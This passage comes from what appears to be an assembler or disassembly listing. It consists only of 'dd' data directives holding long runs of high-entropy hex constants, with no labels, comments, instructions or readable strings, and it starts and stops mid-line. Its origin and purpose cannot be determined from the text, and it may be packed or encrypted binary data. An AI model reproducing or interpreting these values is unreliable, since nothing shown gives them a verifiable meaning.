4CBB3000h, 0FFA1D8h, 1841F430h, 2176BAACh, 0F870F600h dd 4A0C1E84h, 61DC787Fh, 0F1AEB19Eh, 0C2885721h, 0C80C745Eh dd 78F30F04h, 0F041FC2Fh, 801EC7E0h, 3CBFBA28h, 548F51h dd 96F44085h, 27ECF29Dh, 0A5531506h, 3D50E806h, 0E19EA91Dh dd 8F469FB1h, 879CC02Ch, 0F039FF1Eh, 3CF8716Ah, 0F04C6954h dd 9F976B40h, 497B8D43h, 1881F537h, 0DFDD0583h, 28A16090h dd 0AB167D31h, 4C56C7B4h, 0DDCB3131h, 800ECAB1h, 0A46111E1h dd 381296AFh, 3C819D41h, 6F8CD020h, 2CF088B3h, 60194530h dd 20DE3A20h, 0C1F2B107h, 0CF8370FFh, 7D4B095h, 9FF13A8Dh dd 74143D81h, 806FFC9Dh, 2AFE15B1h, 513E60Ah, 2E12BA30h dd 0C835C044h, 0A761DFEBh, 0BBE87029h, 0F09AF183h, 79051F84h dd 0C8DC501Eh, 2D954400h, 7E826CF3h, 5D65003Ah, 0E443F0EAh dd 37E1A10h, 22DC1C53h, 0E3CA244Bh, 0D8478030h, 0CC6063E8h dd 0FF69D000h, 0A2795808h, 1C94F4E2h, 398BF1Ah, 6C2EEABEh dd 65F4A100h, 9FF2EDBBh, 0E83C6168h, 7F5D42h, 7195ACh dd 17E6EB43h, 0BF19880Ah, 0C5EF8F00h, 0FA846E81h, 0B65E0706h dd 40A7D92Ah, 0BD30CE53h, 9A6211C0h, 0A1BF3Eh, 2FB0CAEh dd 282D1D9Fh, 75A39900h, 0E6BBD015h, 104D0043h, 6C3BC979h dd 40C7B78Ah, 5750DAACh, 7D7CADFh, 6A37C7EAh, 297D4345h dd 0EB03607Fh, 22A642FEh, 2A1000EAh, 98FF6A45h, 4314E56Bh dd 222C0F1Dh, 4BA00089h, 0D48533BDh, 0BE287144h, 5AE82805h dd 0C02270FCh, 129218E0h, 8A97D1CEh, 1F1D151Eh, 7099E6C1h dd 1443B0BDh, 0CF4CA404h, 0E441EFB8h, 1838FC03h, 31932161h dd 0D5046ECDh, 96B8B65Bh, 0F606DCC0h, 12D903E1h, 1329DF9Ch dd 9F410806h, 73413D15h, 8421022Ch, 0AF1D2418h, 21AD44A4h dd 1E11E70Dh, 84398036h, 0C3097E7Dh, 0F4C60E6Ch, 0E38CA439h dd 7A40E7A8h, 89D200C7h, 0EBB866CDh, 0D526A7D8h, 0C018974Bh dd 1799A51h, 0B272A209h, 0E8D26C1Ch, 0F030336Bh, 8A42E8AFh dd 0BEE680D8h, 0D99540h, 722BBA18h, 29432753h, 0AD508700h dd 733512EDh, 1434E28Fh, 0C899DFBDh, 3990C019h, 79ABEC6Dh dd 76233600h, 21DBC7B2h, 2DE9C3E9h, 0B0D70F7Ah, 0E1D497E0h dd 24D09C60h, 527E367Ch, 281088ECh, 0B83A8873h, 36CC613h dd 78ADD289h, 0E47026A8h, 8291F00h, 0C6FBF7Ah, 0A78CA1ECh dd 0C67DBEF4h, 0A19AC099h, 0ECCAE100h, 67FECD29h, 0F73402C6h dd 0C9BD64E2h, 0EFAF8C82h, 8A139811h, 28441BF2h, 4AC73900h dd 93612827h, 351E33C8h, 0C1906EA1h, 0AA988758h, 7014A90Eh dd 4535E0EBh, 3D80F1Bh, 3C9799FDh, 91399C57h, 9D7E8028h dd 36F22EF7h, 6C0148CCh, 8CA7AC4h, 80B4A1DFh, 9CCC48Ch dd 0B2C619Fh, 3B180AB3h, 736B39h, 0E3FC69Eh, 3D6F6546h dd 0CC83570Fh, 0BC5DE136h, 4A9E543h, 1FBD91B4h, 49F01FC7h dd 70E3DB8h, 0A27B241Ch, 0BDB581A8h, 0DC237Ch, 33082135h dd 3496C014h, 85195D3Ch, 43D80404h, 27920674h, 0D2A70A19h dd 1142FF9h, 0BFD1B0A8h, 8211808Bh, 0EC08C87Eh, 0C58E00CAh dd 0A0B1AF75h, 0F0445A7h, 608298D1h, 93ABE881h, 0AA403E08h dd 0FD101439h, 56005021h, 794AA6C2h, 81C3722Fh, 901F267Ah dd 7DA0FBA1h, 67470048h, 41EF03E9h, 0B80996C2h, 3E70B57h dd 0B713024h, 2B3A039h, 0BCADC480h, 1700C98Ch, 2E0F8D38h dd 0DCB52FEFh, 8E6C1F29h, 0CF8737DDh, 3A14720Dh, 4A3EC96h dd 81434E3h, 83C08F5Eh, 8896AAA9h, 0F0378A6Bh, 0F3BE0A84h dd 4A4DE02h, 22B911Ch, 2F93C170h, 0C400E8Ah, 0A169441Eh dd 0B223E700h, 43154B8Bh, 76F70E05h, 5EA3EDC9h, 86E029D1h dd 0A600AA75h, 0BD91C17Eh, 1DC8B96Dh, 0A643D36Fh, 0C0DA62F0h dd 0CA3003h, 80FC2B69h, 70C1127Eh, 0FF300362h, 25530F76h dd 104C60DCh, 0B9008F23h, 0F463E761h, 5961160h, 0C5941E38h dd 265C001Fh, 37B31903h, 96CB0400h, 4E56A2D5h, 28DE0310h dd 47389BD2h, 0FB7AAA98h, 0AD7C2903h, 9CCCD970h, 0CB717108h dd 172DF710h, 8A289B00h, 14D419AAh, 0C93926B2h, 0B4F80820h dd 0A6B3BD42h, 20E07CB0h, 0F204B9C1h, 0B5E7A237h, 4583488h dd 3ECC514Dh, 86CDED8h, 80C92D70h, 2DF918Eh, 7C64E395h dd 733165B8h, 97C63B8h, 84D564B3h, 0C05F92B4h, 389449CBh dd 38A4D33Dh, 12A04C40h, 3263BE9Bh, 0B6108C1Ch, 1BD588E3h dd 0C56F59E2h, 902819D8h, 80C41E12h, 6A8FCE00h, 0CF406D0Ch dd 692D248Ah, 2610128h, 3221C977h, 0B4AF0050h, 0A2698A9Fh dd 72B00FBh, 870F6261h, 210E37E5h, 267E8Bh, 3B2E5AD7h dd 0D939C645h, 5743B09Fh, 0D24C9822h, 96202C0h, 0C0C5A8B8h dd 8092633Ch, 1848D870h, 0BFAAC1ACh, 0DC34101Eh, 0A0730065h dd 0C0253575h, 0C50E195Ah, 613FDDE5h, 0F8C41621h, 0C2D6F460h dd 81C08A31h, 0E7C2B090h, 31FD7172h, 7CC3C49Ah, 3C524106h dd 0B9C621h, 53FC7236h, 0E6018D04h, 0A86ED400h, 5F277B37h dd 0C8B42412h, 0C86B10E0h, 8DC4428Eh, 7EC023h, 3DCE5C79h dd 4A072866h, 7DEB8500h, 1840C62Dh, 528917F7h, 3000413h dd 2C1941B8h, 0FDC3154Ah, 0EC30B816h, 0A030CF7Bh, 0F2F808h dd 74966185h, 0F5DB1542h, 671CAD17h, 26BB4832h, 0AA1C3439h dd 25859F43h, 0B81E9567h, 0E4118CACh, 1C14E600h, 99FE385Bh dd 801C1E58h, 0CB9BF087h dd 80323C0Dh, 59D73398h, 2F0552D8h, 3E976F8Ah, 36EDDC21h dd 91B54860h, 779365DCh, 0C4A10840h, 9F2C8783h, 33A83A6h dd 0BCCDCBB2h, 8D808266h, 0E0906D18h, 4AD86520h, 2B144521h dd 0DC9E0009h, 2ED03328h, 0BF869E09h, 805800BAh, 3AC1D60h dd 0CA45978Bh, 0E1E3A6A9h, 87C2A48Ah, 8D439444h, 28E4772Ah dd 50703F9Ah, 20A394F2h, 3C44FDAFh, 71F30085h, 399B8EB0h dd 55F8129Ch, 86343103h, 1EB0FD8h, 0C051E1E9h, 63583BD2h dd 1B9850B0h, 4F3E0342h, 37601E40h, 5CFA461h, 0DB07010Dh dd 164D0243h, 27A02084h, 0FE928B40h, 351CA1BEh, 2C4C2010h dd 0CF1F5A00h, 0F12E61F8h, 0C574822h, 43602F26h, 47881143h dd 800647Ah, 61C50E29h, 908A92F9h, 0FA93E44h, 1936CA81h dd 0F25B7E40h, 4AA0FC4Bh, 96482769h, 245FC0B8h, 0A62CE8h dd 65F204FCh, 0C5AC4FA7h, 0A834499h, 0A81A67E0h, 7CCC5Eh dd 96BE29EBh, 0F8F36BA8h, 0A411DCB9h, 80133B0Ch, 74603061h dd 313366B9h, 5D730003h, 0DE2E426Bh, 8D0098F6h, 4F50BC1Bh dd 0A075612Fh, 889A1794h, 70887C16h, 0DC22F7AAh, 8B009522h dd 0E4F308E0h, 1E23CFEEh, 879EFB4Fh, 1FA685D7h, 64481FC9h dd 0F65B1CA4h, 7B97F8h, 1A4984EDh, 6CE0DCD8h, 0B290C75Ch dd 4934417Bh, 0C040E10Ch, 2C1550A0h, 0DD980044h, 60E0818Dh dd 700F9E7Eh, 65FB8F95h, 6CC19C41h, 9F00EC37h, 0C8962C38h dd 0C0A0A242h, 6743996Ch, 0B53B193Fh, 2148C765h, 71896924h dd 62BE21BCh, 0A9FD35BCh, 0BB7D0091h, 54DAF100h, 1B404896h dd 88E72F42h, 58721581h, 5947D107h, 88E25D2Eh, 4A1C607Ah dd 0E88150AEh, 0AC4286EFh, 7C964511h, 54444328h, 19AA5E33h dd 0F619E116h, 0BB604474h, 0EE3300ACh, 512BE7A5h, 297DC800h dd 0DE6520FAh, 34483B57h, 36C16187h, 23F961F0h, 745438E7h dd 55C0E350h, 0B8642086h, 0D9BF3030h, 22BF711h, 5854101Dh dd 0D46049D5h, 3788D7EBh, 0C2960775h, 21CDC8A6h, 4C30FACEh dd 0D21B08F4h, 0E3111991h, 0F76BF1CEh, 89AE844Ch, 0D72830EDh dd 90DBD540h, 876D2C18h, 37E800DEh, 0C3954569h, 4757DD01h dd 8CAE1162h, 7B48C420h, 210E4482h, 84819460h, 1DEE5DBh dd 0F0AC77EBh, 7AFD59h, 89D7CAE3h, 41FC36C9h, 97FC20BCh dd 0D5708B0Bh, 12D404A1h, 0E3610A4h, 0A4B80509h, 4CC13700h dd 0AB020CD6h, 1D24E797h, 20244613h, 3900A816h, 4589B8F8h dd 0B236931Bh, 0C041442Ch, 1A90407h, 213016DAh, 8083BF2Bh dd 0ED0062D9h, 0B4B89AA8h, 6653A91h, 3657112Fh, 3E3091C4h dd 0DEC280A6h, 35992C41h, 5F3B4258h, 7370AC6Eh, 22A44A84h dd 392290B8h, 3BBC46A2h, 800CE8Ah, 1B42944Bh, 7A005FC2h dd 0AD569D44h, 365D89B9h, 70F1CE53h, 0B86E6C10h, 0D4273027h dd 7047C7A5h, 0E4E8EF4Eh, 0B3254D0Bh, 437C108Dh, 37E6880Bh dd 1D54BC48h, 821E0E22h, 9508C82Eh, 80982C04h, 3AE78925h dd 0D0E3E687h, 0A532C483h, 19A7E09Dh, 2297109Eh, 0EB6B8891h dd 5B6EB400h, 5045BC77h, 0CC3201CDh, 0B8707504h, 9DA03CEAh dd 9E790E2h, 0AFEEA06Fh, 10CFA049h, 0ABCEA639h, 0FE38F184h dd 0C0DD8217h, 0F042C924h, 80E0248Ah, 0E890F954h, 31E56920h dd 3851C521h, 9B56D4B0h, 0FE51DC00h, 5FDA72F3h, 0D9ED011Dh dd 30D66E0Ah, 58703332h, 3CF2243Ch, 782C0F17h, 680364D5h dd 388A00EAh, 3FFF27h, 89DC756Fh, 0AE6BD095h, 8DCEB48h dd 4FA8A3CDh, 8CBFC5A2h, 3BBDA02Fh, 12AE54B3h, 8EB92031h dd 21785824h, 417B9825h, 0C8A070C7h, 0ECA61897h, 7F98E66Eh dd 0AC315113h, 4B7041F3h, 85A51DAAh, 0FB7240C5h, 0C92021F2h dd 0A3BE8405h, 0F448DDFFh, 0BF708499h, 97D541E3h, 64224236h dd 0D1E8658h, 81B1D3AAh, 5DCD784h, 99364009h, 0C4339CB8h dd 0A2D48874h, 6DA03F83h, 905CCC2Ch, 5B62DF7Dh, 37140493h dd 0C33006DEh, 0C1530549h, 11E50729h, 0D10528B4h, 882F38C5h dd 0AF0089E4h, 2B96F7F4h, 3A327105h, 630392BFh, 0FD9C82FAh dd 96780A88h, 4388B5Ch, 95BFACF4h, 0F3B64640h, 5F008E88h dd 8D1431BCh, 56B1625h, 23EDBB05h, 4F448197h, 9BDE08EFh dd 20531FC0h, 0A8A47079h, 0DC2C4CB4h, 51BD5962h, 0ED2C008Ch dd 0CCB5537Eh, 3F8E0D48h, 0C4225A6Bh, 0DD2123FAh, 88A5100h dd 5E068973h, 0E96817E3h, 3B4C098Dh, 3944B980h, 0F4068665h dd 0E1FB431h, 0E09AEE41h, 0F9D0175h, 0BD38395Eh, 0ED29D4F4h dd 31142200h, 2DA33B43h, 0A48800D9h, 0A7C742A5h, 724CD533h dd 8B4C3Fh, 0C1B93CB5h, 7CA3B92h, 0A9E1C4D2h, 0E23751BFh dd 0D8D69297h, 3B211C30h, 2C4B16Bh, 73531EC8h, 7B546898h dd 5A014870h, 0FF9FA9EDh, 0C4F6E869h, 0CA54A144h, 0D8B622D2h dd 8CBAE27h, 0BD84B8C3h, 3909A80Bh, 0BA0A8483h, 0C2AA7EA8h dd 80686738h, 0B696BD9Bh, 509C2D57h, 9135B0B1h, 11242C74h dd 96C700A8h, 0C1235522h, 4E894EBh, 5C769B4Dh, 124494E2h dd 0D8A84A8Fh, 9FF910D8h, 0E9BF00E2h, 84EC20C8h, 5600D72Fh dd 12F4351Fh, 5938A91Ch, 0DE2224D0h, 6199C030h, 1F5F4B68h dd 0AA1EF8C7h, 444C989Ch, 34289A89h, 9B443811h, 32F200C5h dd 0B6C0219h, 560088FBh, 6F5A7A43h, 5C27E10Fh, 0A0413DDFh dd 257C64D6h, 6038B4BEh, 931E988Eh, 0ADC22634h, 40FC08A4h dd 13F60CDBh, 881F859h, 0D762FF28h, 3C97002Ah, 0AA7135A2h dd 56D3B601h, 2C3DBF89h, 3EFD8421h, 45211C33h, 0CF853790h dd 10E0C82Dh, 44F2279h, 43AC6447h, 0B804D635h, 0DF48D719h dd 51049880h, 465DDE6h, 1CADE0FEh, 8EF0CC7Bh, 0D903CA8Bh dd 57B50340h, 9AD404Eh, 0D46849E4h, 1165BEF1h, 948294B9h dd 96391903h, 4433CE41h, 47788929h, 5483CC4h, 1B6A58DDh dd 1173C340h, 4B0E6BA8h, 0FAEBD0Ch, 53198830h, 57289CB5h dd 0ECD9A07Ch, 9C2F1436h, 9608F417h, 0C8F9423h, 0BF07437Ah dd 47C38779h, 9EA9C092h, 7F511F4Bh, 0D01E57C7h, 8F52CB38h dd 416B227h, 0D932DDACh, 6F5C902Bh, 73420059h, 9FDDD835h dd 3A008B7Fh, 70843726h, 0E33899B9h, 246B9060h, 24F8C260h dd 0F37B60A4h, 3E79C8A8h, 98B81F00h, 0FBB3B916h, 589DF6A5h dd 5A266888h, 0A07B1E08h, 40583B35h, 1D0028A6h, 24D08256h dd 1000DA04h, 3A8C10Ah, 1F55DF94h, 0CCE6C34Eh, 3E31CD6Ah dd 0E714EC05h, 0DBC6A9DCh, 0CBA00751h, 0FA1CC8F4h, 20A44AF8h dd 4C71D38h, 9C8FB9B1h, 804CA2A5h, 15501FD0h, 0A8B0C8FCh dd 0B3D7C226h, 24D3A0Bh, 85993820h, 0B3806ED0h, 0C885B8h dd 7BBCAAA7h, 0B30F12EAh, 0CAE3402h, 0A03E0429h, 617AA9C4h dd 40910970h, 34104899h, 6B135EE6h, 6800DAE2h, 7F67C1CFh dd 0EAD80B87h, 540136ACh, 322D4297h, 0F0AE41B0h, 28030102h dd 99378115h, 2451B6F0h, 2D9BD8F2h, 90923814h, 0E3324B01h dd 0C8802140h, 1021BE0h, 57F57020h, 71E1F439h, 5688304Bh dd 11C35173h, 0A038336h, 2C256F29h, 0F8C1186Ch, 6A253CA4h dd 0B8B0909Ah, 0E42F5853h, 0FB6F3283h, 37D1C8F0h, 790FD700h dd 0A9E2EAFEh, 7FBA0073h, 0F727FADDh, 3A01C3E8h, 169E28F9h dd 0F855DECCh, 945AD887h, 0C7C07041h, 40CBD9BAh, 77E4ACECh dd 3D029AAAh, 0E7A721BBh, 0AD452C4h, 18362D71h, 0C12C3EA4h dd 370F6434h, 535E4098h, 97800DE2h, 4EE173B8h, 45342234h dd 7A08C810h, 0D47A28BDh dd 8B98C810h, 25C4748Eh, 74C0988Dh, 5CEB1Eh, 7149F712h dd 273F4EE0h, 0C8E4CF12h, 75F70C8h, 0BDA238Fh, 64B6E354h dd 486E6BC9h, 9C42BC80h, 0CC1E9722h, 4CC01522h, 66884B64h dd 823E00ADh, 13EAC686h, 120945F4h, 0BCE99E5h, 11206874h dd 1037007Fh, 79B89B78h, 4F07C0C5h, 5334BC38h, 3AF795D0h dd 3185625Dh, 946C4D9Ah, 60160B4Bh, 143088h, 2E8381Eh dd 4B2B9C6Fh, 0F41E12F0h, 99DF553Ah, 0B40ED5h, 755F25CCh dd 0F176C1h, 0DF474129h, 0E6A138AEh, 6BE1D30Ah, 9A869ABEh dd 4879714Ch, 22800021h, 9F854BDBh, 73617507h, 97004066h dd 29F40215h, 929C5DAEh, 3BB004DBh, 0B5D94092h, 0EB13264Fh dd 44340C70h, 6F0F8A3Dh, 0A789B669h, 0F896714Bh, 32392571h dd 0FE0690C8h, 0A1922100h, 4704CDFFh, 1CA37B7Ah, 80A02ACBh dd 0C115BD4Eh, 4901C601h, 458A8FDFh, 6423E31Bh, 0DB08B76h dd 0E85D1143h, 91571138h, 65F09A24h, 0E80C83E6h, 223E8107h dd 1B70ADA3h, 9CD412h, 0D508F3BCh, 98184296h, 61922237h dd 0E0C83770h, 0C34D004Bh, 6967EECCh, 0BB836D1h, 1224AC48h dd 74B27542h, 4B81C11h, 7B7828A9h, 2238ECB0h, 0BE10D7E3h dd 7C26AA3Ch, 7B94E00Ch, 67051606h, 0CF82E04Bh, 0DD348Ch dd 0D6B432E7h, 0E5437846h, 26AC584Ch, 0C8618C36h, 4040C31Ah dd 0C485AAh, 11078A81h, 7657F9C7h, 17006598h, 0EBD3A289h dd 2CA8DA5h, 3BDBBF4Bh, 48648E60h, 37463500h, 0AF40E59Bh dd 0F2DE2C87h, 3B810220h, 70609085h, 5500D7ADh, 0F7477199h dd 0F28D522h, 815D4C09h, 0C770E143h, 9859C492h, 780FA838h dd 0AF004CEEh, 4FFF9951h, 73F9EC2h, 38D146A4h, 0C144D765h dd 0C8F136D9h, 0BB4C71F5h, 62398040h, 4CF8095h, 0F77418ECh dd 0BF3C80B1h, 49CCEDCh, 2DAC9740h, 0F2A490F1h, 0E490EBh dd 4BD8EDDBh, 93243298h, 5840111Ch, 0D4CAC580h, 0C4E796B7h dd 160F0B30h, 72038C8h, 680C519Dh, 3583A934h, 0DCD0C6D5h dd 0B317AA86h, 44D1563Bh, 6C28D2C7h, 0A623B681h, 1F10FC73h dd 9DED5700h, 0CA37EA35h, 0F0324F97h, 0C9279C6Eh, 3C08901Ah dd 1CCB158h, 4F2436B9h, 0FB8BF26Ah, 0D80DE802h, 0D4BEED00h dd 80289BC0h, 0B56DE426h, 36013E59h, 5505467Ah, 0A4246F1Bh dd 5890C2h, 4AD0B06Ah, 428C5160h, 0BB1EC70Bh, 0F10ECE2h dd 0A5EE30C2h, 0AC504DA0h, 94001C01h, 25127D89h, 5049653h dd 0DE9A14FBh, 27C40CAh, 0CB6955F3h, 0E48B150Fh, 82B26BF0h dd 0F21F4BD0h, 0E80D00B4h, 5D3FB53Eh, 0DA04A252h, 6ACB9488h dd 23E2A882h, 0F1000F1Eh, 199A7EFCh, 0EDB389h, 38079124h dd 5C944D60h, 970CB2F2h, 31FE15A0h, 91077FF1h, 80B6008Ch dd 0BFE38E45h, 0C0B87CB8h, 4135A3Dh, 296D2F37h, 0F56B30A4h dd 0DC01B911h, 0A5F8C7FAh, 9E982F04h, 0CC40C522h, 4DABC949h dd 0F4153A00h, 0D8CBBB83h, 2F377CAh, 96983E46h, 0B9824FB6h dd 70FBEADAh, 711B8820h, 0B151B9BFh, 6C321303h, 98BEE608h dd 0F15BCC80h, 5891C171h, 0B2240210h, 0EB4200CBh, 5F2F4387h dd 46D8D627h, 295D0084h, 12B0AF6Fh, 76E6F764h, 0B82E0872h dd 30429C5Fh, 0E590A0CCh, 0D0F76Dh, 4EEE2FDBh, 32B2368Fh dd 0D742C090h, 77BC0A72h, 0AF540F37h, 0D8590C91h, 0A5000454h dd 0CBAA889Eh, 47B6EDh, 0D0C77109h, 5782B2Eh, 16289B07h dd 2F0BB76h, 0BBD8829h, 0C67BD097h, 0C1968885h, 80D621B8h dd 77557A59h, 7236002h, 0AE81465Dh, 0F51D300Ch, 90729F8Ah dd 0D9F2D100h, 34914942h, 77DE070Eh, 703C6381h, 89F7A0E0h dd 3629E501h, 0C8D8DF6Fh, 0FDE1186h, 4002980h, 0D72EBA28h dd 1D5D12h, 1EF34361h, 5CDEE333h, 0D6A58602h, 0E3ABC034h dd 2D900C5Fh, 1D985FB3h, 0F063CFA1h, 0A1007FBEh, 52F3C973h dd 0C0242A14h, 5D5E720h, 0A904574Fh, 9AEF65D3h, 25B38387h dd 7782269h, 82CAC30h, 1A1723h, 0E54B5144h, 4E0653BCh dd 6788F800h, 0C83A9F9Ch, 0E08CF609h, 5ADF00D2h, 59233038h dd 433BC5CEh, 86F00018h, 119CFE22h, 0DB9600B3h, 499FA394h dd 0D918F1BFh, 7DA823D0h, 77910CB2h, 61B1D22Eh, 7C3ADE00h dd 0BE0997D7h, 4A150075h, 29F7DFAAh, 281852CAh, 5DA82E7Fh dd 0C2FB00C6h, 7A83FF09h, 9B242B8Ch, 9A018767h, 974FF532h dd 9CB42881h, 803775F7h, 59555C39h, 1BBF95E1h, 1934D115h dd 3CDC9000h, 6FDE300Ch, 29B8007Ch, 8C611E1Bh, 0A2EED158h dd 2C945354h, 0C45BB22Ah, 7545080Ch, 0FC4935h, 0B1537ACDh dd 0C7BA253Ch, 0FD076775h, 589F329Ch, 0AB164341h, 0BF7C5D10h dd 7DD17F0Ah, 2E058CC6h, 0CC2208D5h, 2B93202Dh, 40E6305h dd 0C04D0FA3h, 0AC6AC1C6h, 8AA000CEh, 43EEDEA4h, 0C2062EFDh dd 60B22BB0h, 38C001A1h, 45144685h, 7900F776h, 291008AEh dd 13116DFh, 931BFD0Ah, 242A18D9h, 42882324h, 0CB3D00F7h dd 0C85AE1C7h, 0D80FB992h, 0ACD6C09Ch, 57DAEB7h, 56F5B8D4h dd 3798201Dh, 27805CFFh, 0EA860044h, 9A720DD3h, 0E51245BDh dd 2C068C64h, 0F11811h, 0D2317F8Ah, 0D7B93902h, 0E038620Fh dd 84288A30h, 207692h, 0B72C369h, 0F331C1BFh, 6F633080h dd 530079D1h, 7FB0DF9Bh, 48374008h, 1780B038h, 0AD0551C5h dd 6CB8C200h, 81952A27h, 0D8A8C0F2h, 2E14390Ah, 6CF09CABh dd 7D00C76Eh, 711098E0h, 777F95Eh, 3985418Fh, 76D1D237h dd 83520C61h, 1420D226h, 2E410057h, 0E6CDB2A5h, 290FA1BDh dd 669725C0h, 18910DADh, 0D11CDF16h, 92006FE5h, 0CADDD128h dd 54D92E59h, 0A4ACA0FBh, 34490980h, 0D300CF10h, 5605BD4h dd 0AC883738h, 803DE5D0h, 0FC660FC7h, 0C25831Eh, 0FA37CE1Fh dd 463CD849h, 82F0DB30h, 176700EDh, 7CBC2E20h, 89FAF1EAh dd 0A40070EAh, 2B1AD130h, 67D63Fh, 2E2D8E51h, 1E9CFA45h dd 0C33621Dh, 0E3DD61C0h, 2F23A0Ah, 0EFD45BB6h, 80A05214h dd 0C1E85CB9h, 0D1F1BA12h, 512C33h, 0AAE68A21h, 0FCA22D6Ah dd 9FF52407h, 9327F229h, 1049F87Ah, 48BFE5C4h, 821FE8C3h dd 0B1188F12h, 9C459BE3h, 9609CFC0h, 0B2FED101h, 0CA322507h dd 0B12C8883h, 701426AEh, 80A8FD38h, 0FED283B8h, 739114E7h dd 0F7018E3Fh, 43B0D11Bh, 0C137E4DDh, 0B52C4612h, 7DA3A430h dd 0DB8C03D3h, 984D7CE2h, 5468C8E2h, 177F1F9Ah, 0D931BA60h dd 1C2D97ACh, 0A6157636h, 9F664110h, 20CE602Bh, 32A4450Fh dd 16B198D4h, 29366AE0h, 9FAF0E28h, 0D643BF80h, 0F3017B0h dd 7CA39840h, 745B064h, 5BC6972Dh, 16A99F55h, 10AB2C23h dd 5F0695E8h, 873A923Dh, 593726C7h, 214614D7h, 45090028h dd 77359C41h, 657244F2h, 49D7F513h, 0F82C9C41h, 0D1800375h dd 0A729CA99h, 1603D5E0h, 0E5887027h, 72FC00EDh, 2EB0C8A3h dd 30C0CAF6h, 8C74C9D6h, 38B40091h, 10CC4A2Dh, 8C092F2h dd 0E12EA257h, 43B1C30Bh, 8DAB6EE0h, 0E0B896B9h, 6D0F1C17h dd 0C02F2B57h, 106A89E4h, 12557BB2h, 4052AC66h, 793B5010h dd 34065956h, 0DE5CD064h, 153F1480h, 0A911E0BAh, 4C04305Bh dd 98BBF6Dh, 0F24AA4D9h, 1437DC03h, 8958891Eh, 0BC06A1C0h dd 3BE17BA9h, 0BB80348Bh, 2E33693Eh, 0BE060CE0h, 71E4DA23h dd 3114DC40h, 8055AC41h, 12A9CB99h, 59B490Ah, 764D5A48h dd 4AF427D3h, 604C267Ch, 11B61405h, 0AEE0A80Ch, 3D894954h dd 0DB9F089Bh, 0E5774467h dd 5F9082C4h, 0B9200012h, 1071402h, 0FF446A30h, 0F32D03DDh dd 0FD4C2096h, 0EE91C04Ch, 848247h, 0C7FB2FF4h, 5219F51Ah dd 77204458h, 4FCC639h, 73841666h, 0B5174080h, 86A1183Eh dd 36B27131h, 1D41800h, 29D62F74h, 2C431475h, 2A0C70B6h dd 0FEA95C81h, 16608B06h, 4132D4h, 0FD42087Dh, 5F361D97h dd 8201C4ACh, 857FC5B7h, 0B8E71A33h, 109709Fh, 73B97AB5h dd 0DC74DE35h, 7C04E710h, 1CE98561h, 8833B484h, 2FC08139h dd 0C98E946h, 4C7F3D26h, 0DC922931h, 135610A1h, 78DDC3C1h dd 59AA12B1h, 2BBC0841h, 2C6024A6h, 0EDCC752h, 0B9F231B6h dd 30150D63h, 8BA94900h, 936869ABh, 12810077h, 0B5E832E2h dd 0B409E0C0h, 2253BFDFh, 2B35D3F8h, 4324C804h, 98DEFE43h dd 259CE5F7h, 10101814h, 4B00E01Fh, 0AEDF97FCh, 0D8C0243Ch dd 92E5D830h, 38B0389Ah, 227B0200h, 0E71C25C1h, 0CFC218DEh dd 4D2792Bh, 787D6040h, 0ABA18838h, 103BEE00h, 0A80CF12Eh dd 331805E6h, 0C0BB2495h, 5C7C86D8h, 12D64702h, 0AE59C9DEh dd 530AC598h, 0E0708053h, 5C2407D9h, 1486FC83h, 29002955h dd 0A0B6C0Ch, 0F1E134h, 0B0D22A88h, 380DBA63h, 2BABC118h dd 1E51361h, 282E671Fh, 0F853ACD8h, 781465D6h, 28C6662h dd 76301925h, 46A8A02Fh, 3B10D290h, 0F080B1C3h, 0CC7F286Bh dd 0B0A8A329h, 0B491ACEFh, 0A08B150Eh, 0CE5002E7h, 1C443F71h dd 193D8C8h, 0EEB180Ch, 0DE380040h, 0EDFF136Bh, 0A3D000FCh dd 8864B84Ch, 3AE8E05Ch, 0EC5215h, 0A9D5DF7Dh, 14575F0Dh dd 0C4CFAAFDh, 47183092h, 51E875DFh, 0D4BEB700h, 7904D9B0h dd 202E7744h, 0AC305CF9h, 0FD8C312Ah, 8540001Eh, 52D15426h dd 8D077CECh, 0E7D5A46Ah, 7083C944h, 0FF402145h, 52007820h dd 0F65A22D5h, 12CCC5A5h, 402C14B2h, 0AE6BEA40h, 9E005E1Eh dd 2192D052h, 0B2C7EC45h, 536104A4h, 0F0D775D5h, 0AC4A6769h dd 0EED08C40h, 1994957h, 9DE5222Dh, 80802A30h, 0C3462339h dd 50CCC6h, 67E442AEh, 47AA2036h, 251EB200h, 0A1C673DEh dd 3ADFE29Eh, 228588ACh, 406D5E17h, 0E8EA9CF4h, 0D3602E9Dh dd 0D07161B1h, 9855397Ch, 0A6043526h, 0AF59405Ch, 20FC0C18h dd 0A0AA0200h, 0E8D605F7h, 0CAE603A9h, 51ABDD3Eh, 8D00A17Dh dd 0E31064A3h, 2F8482Fh, 7DB6E060h, 0DC44D7AAh, 477C5898h dd 8B0EBE3Eh, 2458B2D5h, 24C0AB98h, 41AE2D27h, 0A9E0E052h dd 0FF877501h, 0C048FDF6h, 0C6F2020h, 176DBAFh, 0D2F093A9h dd 63E0F00h, 8D029B2Bh, 0EB3703C1h, 54A342E1h, 7C672FF0h dd 9E2653Ch, 3A74CEh, 7395BBCh, 0B0011FD6h, 0EAEC80DDh dd 0DB713185h, 0F234B200h, 687236D4h, 0D9FA098Ch, 2413ABBCh dd 0FD469BA8h, 1F53C300h, 0BEAFBD4Eh, 32FC114Ch, 8B280D8h dd 49B02D24h, 0D051048Ch, 1B0420E2h, 5E1E4E4Dh, 0E3C0DC1Ah dd 0EF3E6EE7h, 39430269h, 0B3AD9727h, 0B09A4C60h, 3B386102h dd 64F0DA13h, 0A3B20044h, 4203E94Ah, 1B52C0EDh, 748C01F0h dd 0E518D7B8h, 99E264C4h, 3F5E043Ch, 138C5ADh, 0E5411861h dd 0FD5C53D6h, 2CD87809h, 0B33C489Ch, 986D5C91h, 1268F417h dd 0BC4F8018h, 1FF82078h, 5058E42Eh, 0AC181311h, 0F8847150h dd 988FF604h, 0EC80CEEBh, 988B573h, 0B53B047h, 8F2A1081h dd 88143829h, 6020A62Dh, 0CA0D4050h, 0AF58E702h, 41260CECh dd 21840ED4h, 0C833DA16h, 890BBF20h, 8074B881h, 982A1C38h dd 613262AFh, 94AD21B6h, 72644918h, 18380038h, 8B177858h dd 4772E4h, 4BBE50DEh, 0B02B69F6h, 9048AA4Ah, 4C2580FAh dd 7B8C39E9h, 88AE8100h, 0C7263C56h, 3E940902h, 8843075h dd 6B24420Ah, 0D08043AAh, 0F435471h, 0BBDFD584h, 0A73F1FC0h dd 0C03B2FDh, 7531D619h, 23393CDBh, 3C5CF703h, 92C0ED41h dd 0DF29D158h, 0FC0FF0CAh, 